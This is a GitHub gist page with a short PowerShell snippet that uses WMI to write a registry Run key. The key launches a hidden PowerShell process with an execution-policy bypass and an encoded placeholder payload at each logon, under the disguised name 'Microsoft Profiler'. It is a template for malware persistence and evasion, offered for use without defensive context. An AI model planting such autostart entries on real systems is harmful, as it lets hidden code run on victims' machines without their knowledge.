Skip to content

Instantly share code, notes, and snippets.

@natesubra
Created December 12, 2017 18:01
Show Gist options
  • Select an option

  • Save natesubra/579033f308b5361e62e19c9353fa6691 to your computer and use it in GitHub Desktop.

Select an option

Save natesubra/579033f308b5361e62e19c9353fa6691 to your computer and use it in GitHub Desktop.
Create Reg Key via WMI
# https://tfl09.blogspot.com/2011/09/using-powershell-and-wmi-to-manage.html
$HKEY_CURRENT_USER = 2147483649
$Reg = [WMIClass]"ROOT\DEFAULT:StdRegProv"
$Key = "Software\Microsoft\Windows\CurrentVersion\Run"
$ValueName = "Microsoft Profiler"
$ValueData = "powershell.exe -nop -WindowStyle hiddeN -ExecuTionPolicy ByPasS -enc payload"
$Results = $Reg.SetStringValue($HKEY_CURRENT_USER, $Key, $ValueName, $ValueData)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment